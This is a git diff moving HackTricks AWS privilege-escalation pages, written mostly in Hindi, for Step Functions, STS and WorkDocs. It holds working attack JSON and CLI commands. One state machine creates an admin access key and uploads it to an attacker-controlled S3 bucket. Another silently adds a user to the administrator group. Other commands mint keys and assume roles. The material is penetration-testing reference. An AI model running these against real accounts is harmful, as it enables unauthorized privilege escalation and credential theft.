-"End": true
-}
-}
-}
-```
-{{#endtab }}
-
-{{#tab name="Malicious Updated State Machine" }}
-```json
-{
-"Comment": "Hello world from Lambda state machine",
-"StartAt": "Start PassState",
-"States": {
-"Start PassState": {
-"Type": "Pass",
-"Next": "LambdaInvoke"
-},
-"LambdaInvoke": {
-"Type": "Task",
-"Resource": "arn:aws:states:::lambda:invoke",
-"Parameters": {
-"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-},
-"Next": "AddUserToGroup"
-},
-"AddUserToGroup": {
-"Type": "Task",
-"Parameters": {
-"GroupName": "administrator",
-"UserName": "unprivilegedUser"
-},
-"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
-"Next": "End PassState"
-},
-"End PassState": {
-"Type": "Pass",
-"End": true
-}
-}
-}
-```
-{{#endtab }}
-{{#endtabs }}
-
-- **कमांड** जो **वैध स्थिति मशीन** को **अपडेट** करने के लिए **निष्पादित** किया गया:
-```bash
-aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
-{
-"updateDate": "2024-07-10T20:07:10.294000+02:00",
-"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-}
-```
-**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकती है।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
new file mode 100644
index 000000000..b48e2d042
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
@@ -0,0 +1,231 @@
+# AWS - Step Functions Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+For more information about this AWS service, check:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### टास्क संसाधन
+
+इन privilege escalation तकनीकों के लिए कुछ AWS Step Functions resources का उपयोग करना आवश्यक होगा ताकि इच्छित privilege escalation कार्रवाइयाँ की जा सकें।
+
+सभी संभावित actions की जाँच करने के लिए, आप अपने AWS account में जाकर वह action चुन सकते हैं जिसे आप उपयोग करना चाहते हैं और उसके द्वारा उपयोग किए जा रहे parameters देख सकते हैं, जैसा कि:
+
+

+
+या आप API AWS documentation में जाकर प्रत्येक action के docs भी देख सकते हैं:
+
+- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
+- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
+
+### `states:TestState` & `iam:PassRole`
+
+यदि किसी हमलावर के पास **`states:TestState`** और **`iam:PassRole`** permissions हों, तो वह किसी भी state का परीक्षण कर सकता है और बिना किसी मौजूदा state machine को बनाने या अपडेट किए किसी भी IAM role को उसे पास कर सकता है। इससे रोल्स की permissions के साथ अन्य AWS services तक अनधिकृत पहुँच संभव हो सकती है। ये permissions मिलकर व्यापक अनधिकृत क्रियाओं का कारण बन सकती हैं — workflows में छेड़छाड़, डेटा में परिवर्तन, डेटा breaches, संसाधन हेरफेर और privilege escalation।
+```bash
+aws states test-state --definition  --role-arn  [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
+```
+निम्न उदाहरण दिखाते हैं कि कैसे उन permissions और AWS वातावरण की एक permissive role का उपयोग करके एक state का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक access key बनाता है। यह permissive role किसी भी high-privileged policy के साथ जुड़ा होना चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो state को **`iam:CreateAccessKey`** action करने की अनुमति देता हो:
+
+- **stateDefinition.json**:
+```json
+{
+"Type": "Task",
+"Parameters": {
+"UserName": "admin"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"End": true
+}
+```
+- **Command** privesc को अंजाम देने के लिए निष्पादित किया गया:
+```bash
+aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole
+
+{
+"output": "{
+\"AccessKey\":{
+\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
+\"CreateDate\":\"2024-07-09T16:59:11Z\",
+\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
+\"Status\":\"Active\",
+\"UserName\":\"admin\"
+}
+}",
+"status": "SUCCEEDED"
+}
+```
+**संभावित प्रभाव**: वर्कफ़्लो का अनधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जिससे गंभीर सुरक्षा उल्लंघन हो सकते हैं।
+
+### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
+
+एक हमलावर जिसके पास **`states:CreateStateMachine`** और **`iam:PassRole`** अनुमतियाँ हों, एक state machine बना सकता है और उसे किसी भी IAM role असाइन कर सकता है, जिससे उस role की permissions के साथ अन्य AWS सेवाओं तक अनधिकृत पहुँच संभव हो जाती है। पिछले privesc तकनीक (**`states:TestState`** और **`iam:PassRole`**) के विपरीत, यह स्वयं स्वतः निष्पादित नहीं होता — state machine की execution शुरू करने के लिए आपके पास **`states:StartExecution`** या **`states:StartSyncExecution`** अनुमतियाँ भी होनी चाहिए (**`states:StartSyncExecution`** मानक workflows के लिए उपलब्ध नहीं है, यह केवल express state machines के लिए है)।
+```bash
+# Create a state machine
+aws states create-state-machine --name  --definition  --role-arn  [--type ] [--logging-configuration ]\
+[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
+
+# Start a state machine execution
+aws states start-execution --state-machine-arn  [--name ] [--input ] [--trace-header ]
+
+# Start a Synchronous Express state machine execution
+aws states start-sync-execution --state-machine-arn  [--name ] [--input ] [--trace-header ]
+```
+निम्न उदाहरण दिखाते हैं कि कैसे एक state machine बनाई जाए जो **`admin`** उपयोगकर्ता के लिए एक access key बनाती है और इस access key को हमलावर-नियंत्रित S3 bucket में बाहर निकालती है, इन permissions और AWS environment की एक permissive role का लाभ उठाते हुए। इस permissive role के साथ कोई भी उच्च-प्रिविलेज्ड policy जुड़ी होनी चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो state machine को **`iam:CreateAccessKey`** और **`s3:putObject`** actions करने की अनुमति दे।
+
+- **stateMachineDefinition.json**:
+```json
+{
+"Comment": "Malicious state machine to create IAM access key and upload to S3",
+"StartAt": "CreateAccessKey",
+"States": {
+"CreateAccessKey": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"Parameters": {
+"UserName": "admin"
+},
+"ResultPath": "$.AccessKeyResult",
+"Next": "PrepareS3PutObject"
+},
+"PrepareS3PutObject": {
+"Type": "Pass",
+"Parameters": {
+"Body.$": "$.AccessKeyResult.AccessKey",
+"Bucket": "attacker-controlled-S3-bucket",
+"Key": "AccessKey.json"
+},
+"ResultPath": "$.S3PutObjectParams",
+"Next": "PutObject"
+},
+"PutObject": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
+"Parameters": {
+"Body.$": "$.S3PutObjectParams.Body",
+"Bucket.$": "$.S3PutObjectParams.Bucket",
+"Key.$": "$.S3PutObjectParams.Key"
+},
+"End": true
+}
+}
+}
+```
+- **Command** जो **state machine** बनाने के लिए चलाया गया:
+```bash
+aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
+{
+"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
+"creationDate": "2024-07-09T20:29:35.381000+02:00"
+}
+```
+- **कमांड** जो पहले बनाए गए state machine की **execution शुरू करने** के लिए चलाया गया:
+```json
+aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
+{
+"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+"startDate": "2024-07-09T20:33:35.466000+02:00"
+}
+```
+> [!WARNING]
+> हमलावर-नियंत्रित S3 bucket के पास पीड़ित खाते से s3:PutObject action स्वीकार करने की permissions होनी चाहिए।
+
+**संभावित प्रभाव**: वर्कफ़्लोज़ का अनाधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों का कारण बन सकती है।
+
+### `states:UpdateStateMachine` & (हमेशा आवश्यक नहीं) `iam:PassRole`
+
+जिसके पास **`states:UpdateStateMachine`** permission है, वह state machine की definition को संशोधित कर सकता है, और अतिरिक्त stealthy states जोड़ सकता है जो अंततः privilege escalation में समाप्त हो सकते हैं। इस तरह, जब कोई वैध उपयोगकर्ता state machine का execution शुरू करेगा, तो यह नया malicious stealth state निष्पादित होगा और privilege escalation सफल होगा।
+
+state machine से जुड़ा IAM Role कितना permissive है, इस पर निर्भर करते हुए, हमलावर को 2 परिस्थितियों का सामना करना पड़ सकता है:
+
+1. **Permissive IAM Role**: अगर state machine से जुड़ा IAM Role पहले से permissive है (उदाहरण के लिए उस पर **`arn:aws:iam::aws:policy/AdministratorAccess`** policy संलग्न है), तो privilege escalation के लिए **`iam:PassRole`** permission आवश्यक नहीं होगा क्योंकि IAM Role को भी अपडेट करने की जरूरत नहीं पड़ेगी — केवल state machine की definition पर्याप्त होगी।
+2. **Not permissive IAM Role**: पिछले मामले के विपरीत, यहाँ हमलावर को **`iam:PassRole`** permission भी चाहिए होगा क्योंकि state machine की definition को बदलने के साथ-साथ एक permissive IAM Role को state machine से जोड़ना भी आवश्यक होगा।
+```bash
+aws states update-state-machine --state-machine-arn  [--definition ] [--role-arn ] [--logging-configuration ] \
+[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
+```
+The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
+
+> [!WARNING]
+> यदि state machine के साथ कोई permissive IAM Role associated नहीं है, तो permissive IAM Role को associate करने के लिए IAM Role को update करने हेतु **`iam:PassRole`** permission भी आवश्यक होगा (उदाहरण के लिए ऐसा Role जिस पर **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached हो)।
+
+{{#tabs }}
+{{#tab name="Legit State Machine" }}
+```json
+{
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
+}
+```
+{{#endtab }}
+
+{{#tab name="Malicious Updated State Machine" }}
+```json
+{
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "AddUserToGroup"
+},
+"AddUserToGroup": {
+"Type": "Task",
+"Parameters": {
+"GroupName": "administrator",
+"UserName": "unprivilegedUser"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
+}
+```
+{{#endtab }}
+{{#endtabs }}
+
+- **कमांड** जिसे **वैध state machine** को **अपडेट** करने के लिए निष्पादित किया गया:
+```bash
+aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
+{
+"updateDate": "2024-07-10T20:07:10.294000+02:00",
+"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+}
+```
+**संभावित प्रभाव**: अनधिकृत रूप से वर्कफ़्लो का निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से गंभीर सुरक्षा उल्लंघनों का कारण बन सकती है।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
deleted file mode 100644
index 31f731c94..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ /dev/null
@@ -1,135 +0,0 @@
-# AWS - STS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## STS
-
-### `sts:AssumeRole`
-
-प्रत्येक role को एक **role trust policy** के साथ बनाया जाता है, यह policy बताती है कि **कौन बनाए गए role को assume कर सकता है**। यदि किसी role में उसी खाते के (**same account**) कहा गया है कि कोई account उसे assume कर सकता है, तो इसका मतलब है कि वह account role तक पहुंच सकेगा (और संभावित रूप से **privesc**)।
-
-उदाहरण के लिए, निम्न role trust policy दर्शाती है कि कोई भी इसे assume कर सकता है, इसलिए **कोई भी user उस role से जुड़ी permissions पर privesc कर पाएगा**।
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-आप निम्नलिखित चलाकर एक role impersonate कर सकते हैं:
-```bash
-aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
-```
-**संभावित प्रभाव:** role तक Privesc।
-
-> [!CAUTION]
-> ध्यान दें कि इस मामले में permission `sts:AssumeRole` को **उस role में संकेतित होना चाहिए जिसे abuse किया जाना है** और attacker की किसी policy में नहीं।\
-> एक अपवाद को छोड़कर, किसी अलग account से **role को assume करने के लिए** attacker account **को भी** उस role पर **`sts:AssumeRole`** होना आवश्यक है।
-
-### `sts:AssumeRoleWithSAML`
-
-एक trust policy जो इस role के लिए हो, वह **SAML के माध्यम से authenticated users को role का impersonate करने की access देती है।**
-
-An example of a trust policy with this permission is:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "OneLogin",
-"Effect": "Allow",
-"Principal": {
-"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
-},
-"Action": "sts:AssumeRoleWithSAML",
-"Condition": {
-"StringEquals": {
-"SAML:aud": "https://signin.aws.amazon.com/saml"
-}
-}
-}
-]
-}
-```
-आम तौर पर role की नकल करने के लिए credentials जनरेट करने हेतु आप कुछ इस तरह उपयोग कर सकते हैं:
-```bash
-aws sts  assume-role-with-saml --role-arn  --principal-arn 
-```
-लेकिन **प्रदाता** के पास इसे आसान बनाने के लिए अपने **खुद के टूल** हो सकते हैं, जैसे [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
-```bash
-onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
-```
-**संभावित प्रभाव:** role पर Privesc।
-
-### `sts:AssumeRoleWithWebIdentity`
-
-यह अनुमति एक वेब identity provider के साथ **mobile, web application, EKS... में प्रमाणीकृत किए गए उपयोगकर्ताओं** के लिए अस्थायी security credentials का एक सेट प्राप्त करने की अनुमति देती है। [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
-
-For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like:
-```bash
-aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
-# The role name can be found in the metadata of the configuration of the pod
-```
-### Federation Abuse
-
-{{#ref}}
-../aws-basic-information/aws-federation-abuse.md
-{{#endref}}
-
-### IAM Roles Anywhere Privesc
-
-AWS IAM RolesAnywhere allows workloads outside AWS to assume IAM roles using X.509 certificates. But when trust policies aren't properly scoped, they can be abused for privilege escalation.
-
-To understand this attack, it is necessary to explain what a trust anchor is. A trust anchor in AWS IAM Roles Anywhere is the root of trust entity, it contains the public certificate of a Certificate Authority (CA) that is registered in the account so that AWS can validate the presented X.509 certificates. In this way, if the client certificate was issued by that CA and the trust anchor is active, AWS recognizes it as valid.
-
-In addition, a profile is the configuration that defines which attributes of the X.509 certificate (such as CN, OU, or SAN) will be transformed into session tags, and these tags will later be compared against the conditions of the trust policy.
-
-This policy lacks restrictions on which trust anchor or certificate attributes are allowed. As a result, any certificate tied to any trust anchor in the account can be used to assume this role.
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"Service": "rolesanywhere.amazonaws.com"
-},
-"Action": [
-"sts:AssumeRole",
-"sts:SetSourceIdentity",
-"sts:TagSession"
-]
-}
-]
-}
-
-```
-privesc के लिए `aws_signing_helper` https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html से आवश्यक है।
-
-फिर मान्य प्रमाणपत्र का उपयोग करके attacker higher privilege role में pivot कर सकता है।
-```bash
-aws_signing_helper credential-process \
---certificate readonly.pem \
---private-key readonly.key \
---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
---role-arn arn:aws:iam::123456789012:role/Admin
-```
-ट्रस्ट एंकर सत्यापित करता है कि क्लाइंट का `readonly.pem` प्रमाणपत्र उसके अधिकृत CA से आया है, और इसी `readonly.pem` प्रमाणपत्र में वह सार्वजनिक कुंजी होती है जिसका उपयोग AWS यह सत्यापित करने के लिए करता है कि सिग्नेचर उसके संबंधित प्राइवेट की `readonly.key` से बनाया गया था।
-
-प्रमाणपत्र उन attributes (जैसे CN or OU) को भी प्रदान करता है जिन्हें `default` प्रोफ़ाइल टैग्स में बदल देती है, जिन्हें रोल की ट्रस्ट पॉलिसी यह तय करने के लिए उपयोग कर सकती है कि एक्सेस को अनुमोदित करना है या नहीं। यदि ट्रस्ट पॉलिसी में कोई conditions नहीं हैं, तो वे टैग्स किसी काम के नहीं होते, और किसी भी वैध प्रमाणपत्र वाले को एक्सेस दे दिया जाता है।
-
-इस हमले के संभव होने के लिए, दोनों — ट्रस्ट एंकर और `default` प्रोफ़ाइल — सक्रिय होने चाहिए।
-
-### संदर्भ
-
-- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
new file mode 100644
index 000000000..912a9eb7b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
@@ -0,0 +1,136 @@
+# AWS - STS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## STS
+
+### `sts:AssumeRole`
+
+प्रत्येक role को एक **role trust policy** के साथ बनाया जाता है, यह policy यह बताती है कि **who can assume the created role**। यदि किसी **same account** का role कहता है कि किसी account द्वारा उसे assume किया जा सकता है, तो इसका मतलब है कि वह account उस role तक access प्राप्त कर सकेगा (और संभावित रूप से **privesc**)।
+
+उदाहरण के लिए, निम्नलिखित role trust policy संकेत करती है कि कोई भी इसे assume कर सकता है, इसलिए **any user will be able to privesc** उन permissions तक जो उस role से जुड़ी हैं।
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+आप निम्नलिखित चलाकर किसी role को impersonate कर सकते हैं:
+```bash
+aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
+```
+**संभावित प्रभाव:** Privesc to the role.
+
+> [!CAUTION]
+> ध्यान दें कि इस मामले में अनुमति `sts:AssumeRole` को **abuse करने के लिए role में निर्दिष्ट** होना चाहिए न कि हमलावर की किसी policy में।\
+> एक अपवाद को छोड़कर, किसी अलग account से **assume a role** करने के लिए हमलावर खाते को **भी** उस role पर **`sts:AssumeRole`** होना आवश्यक है।
+
+
+### `sts:AssumeRoleWithSAML`
+
+एक trust policy इस role के साथ **SAML के माध्यम से authenticated users को role का impersonate करने की access देती है।**
+
+इस permission के साथ एक trust policy का एक उदाहरण है:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OneLogin",
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
+},
+"Action": "sts:AssumeRoleWithSAML",
+"Condition": {
+"StringEquals": {
+"SAML:aud": "https://signin.aws.amazon.com/saml"
+}
+}
+}
+]
+}
+```
+role को impersonate करने के लिए credentials जनरेट करने हेतु सामान्यतः आप कुछ ऐसा उपयोग कर सकते हैं:
+```bash
+aws sts  assume-role-with-saml --role-arn  --principal-arn 
+```
+लेकिन **providers** के पास इसे आसान बनाने के लिए अपने **own tools** हो सकते हैं, जैसे [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
+```bash
+onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
+```
+**संभावित प्रभाव:** Privesc to the role.
+
+### `sts:AssumeRoleWithWebIdentity`
+
+यह अनुमति एक वेब identity provider के साथ **उपयोगकर्ता जो mobile, web application, EKS... में प्रमाणीकृत हैं** के लिए अस्थायी सुरक्षा क्रेडेंशियल्स का एक सेट प्राप्त करने की अनुमति देती है। [यहाँ और पढ़ें.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+
+उदाहरण के लिए, यदि एक **EKS service account** को एक **IAM role** का impersonate करने में सक्षम होना चाहिए, तो उसके पास **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** में एक token होगा और वह कुछ इस तरह कर के **assume the role and get credentials** कर सकता है:
+```bash
+aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
+# The role name can be found in the metadata of the configuration of the pod
+```
+### Federation Abuse
+
+{{#ref}}
+../../aws-basic-information/aws-federation-abuse.md
+{{#endref}}
+
+### IAM Roles Anywhere Privesc
+
+AWS IAM RolesAnywhere बाहरी workloads को X.509 प्रमाणपत्रों का उपयोग करके IAM roles assume करने की अनुमति देता है। लेकिन जब trust policies को ठीक से scope नहीं किया गया होता है, तो इन्हें privilege escalation के लिए abused किया जा सकता है।
+
+इस attack को समझने के लिए यह आवश्यक है कि trust anchor क्या है यह समझाया जाए। AWS IAM RolesAnywhere में एक trust anchor root of trust entity होता है; इसमें उस Certificate Authority (CA) का public certificate शामिल होता है जो account में registered होता है ताकि AWS प्रस्तुत किए गए X.509 प्रमाणपत्रों को validate कर सके। इस तरह, यदि client certificate उसी CA द्वारा जारी किया गया है और trust anchor सक्रिय है, तो AWS उसे वैध के रूप में पहचानता है।
+
+इसके अलावा, एक profile वह configuration है जो परिभाषित करता है कि X.509 प्रमाणपत्र के कौन से attributes (जैसे CN, OU, या SAN) session tags में बदले जाएंगे, और बाद में ये tags trust policy की conditions के खिलाफ तुलना किए जाएंगे।
+
+इस policy में यह प्रतिबंध नहीं है कि किन trust anchor या certificate attributes को अनुमति है। परिणामस्वरूप, account में किसी भी trust anchor से जुड़ा कोई भी certificate इस role को assume करने के लिए इस्तेमाल किया जा सकता है।
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Service": "rolesanywhere.amazonaws.com"
+},
+"Action": [
+"sts:AssumeRole",
+"sts:SetSourceIdentity",
+"sts:TagSession"
+]
+}
+]
+}
+
+```
+privesc के लिए `aws_signing_helper` आवश्यक है: https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
+
+फिर मान्य प्रमाणपत्र का उपयोग करके attacker higher privilege role में pivot कर सकता है
+```bash
+aws_signing_helper credential-process \
+--certificate readonly.pem \
+--private-key readonly.key \
+--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
+--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
+--role-arn arn:aws:iam::123456789012:role/Admin
+```
+ट्रस्ट एंकर यह प्रमाणित करता है कि क्लाइंट का `readonly.pem` certificate उसके authorized CA से आया है, और इसी `readonly.pem` certificate के अंदर वह public key होता है जिसका उपयोग AWS यह सत्यापित करने के लिए करता है कि signature उसके संबंधित private key `readonly.key` से बनाया गया था।
+
+यह certificate अन्य attributes (जैसे CN या OU) भी प्रदान करता है जिन्हें `default` profile tags में बदल देता है, जिन्हें role’s trust policy यह तय करने के लिए उपयोग कर सकती है कि access authorize करना है या नहीं। अगर trust policy में कोई conditions नहीं हैं, तो उन tags का कोई उपयोग नहीं होता, और वैध certificate रखने वाले किसी भी व्यक्ति को access दे दिया जाता है।
+
+इस attack के सम्भव होने के लिए दोनों, trust anchor और `default` profile को active होना चाहिए।
+
+### संदर्भ
+
+- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
deleted file mode 100644
index 17a357f35..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
+++ /dev/null
@@ -1,50 +0,0 @@
-# AWS - WorkDocs Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## WorkDocs
-
-WorkDocs के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
-{{#endref}}
-
-### `workdocs:CreateUser`
-
-निर्दिष्ट Directory के अंदर एक उपयोगकर्ता बनाएं, फिर आपके पास WorkDocs और AD दोनों तक पहुंच होगी:
-```bash
-# Create user (created inside the AD)
-aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password  --email-address name@directory.domain --organization-id 
-```
-### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
-
-फाइलों में संवेदनशील जानकारी हो सकती है, इन्हें पढ़ें:
-```bash
-# Get what was created in the directory
-aws workdocs describe-activities --organization-id 
-
-# Get what each user has created
-aws workdocs describe-activities --user-id "S-1-5-21-377..."
-
-# Get file (a url to access with the content will be retreived)
-aws workdocs get-document --document-id 
-```
-### `workdocs:AddResourcePermissions`
-
-यदि आपके पास कुछ पढ़ने का अधिकार नहीं है, तो आप बस इसे प्रदान कर सकते हैं।
-```bash
-# Add permission so anyway can see the file
-aws workdocs add-resource-permissions --resource-id  --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
-## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/
-```
-### `workdocs:AddUserToGroup`
-
-आप एक उपयोगकर्ता को समूह ZOCALO_ADMIN में सेट करके व्यवस्थापक बना सकते हैं।\
-इसके लिए [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) से निर्देशों का पालन करें।
-
-उस उपयोगकर्ता के साथ workdoc में लॉगिन करें और `/workdocs/index.html#/admin` में व्यवस्थापक पैनल तक पहुँचें।
-
-मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
new file mode 100644
index 000000000..b88ef4199
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
@@ -0,0 +1,51 @@
+# AWS - WorkDocs Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## WorkDocs
+
+WorkDocs के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-directory-services-workdocs-enum.md
+{{#endref}}
+
+### `workdocs:CreateUser`
+
+निर्दिष्ट Directory के अंदर एक user बनाएं, फिर आपको दोनों WorkDocs और AD तक पहुँच मिल जाएगी:
+```bash
+# Create user (created inside the AD)
+aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password  --email-address name@directory.domain --organization-id 
+```
+### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
+
+फ़ाइलों में संवेदनशील जानकारी हो सकती है, उन्हें पढ़ें:
+```bash
+# Get what was created in the directory
+aws workdocs describe-activities --organization-id 
+
+# Get what each user has created
+aws workdocs describe-activities --user-id "S-1-5-21-377..."
+
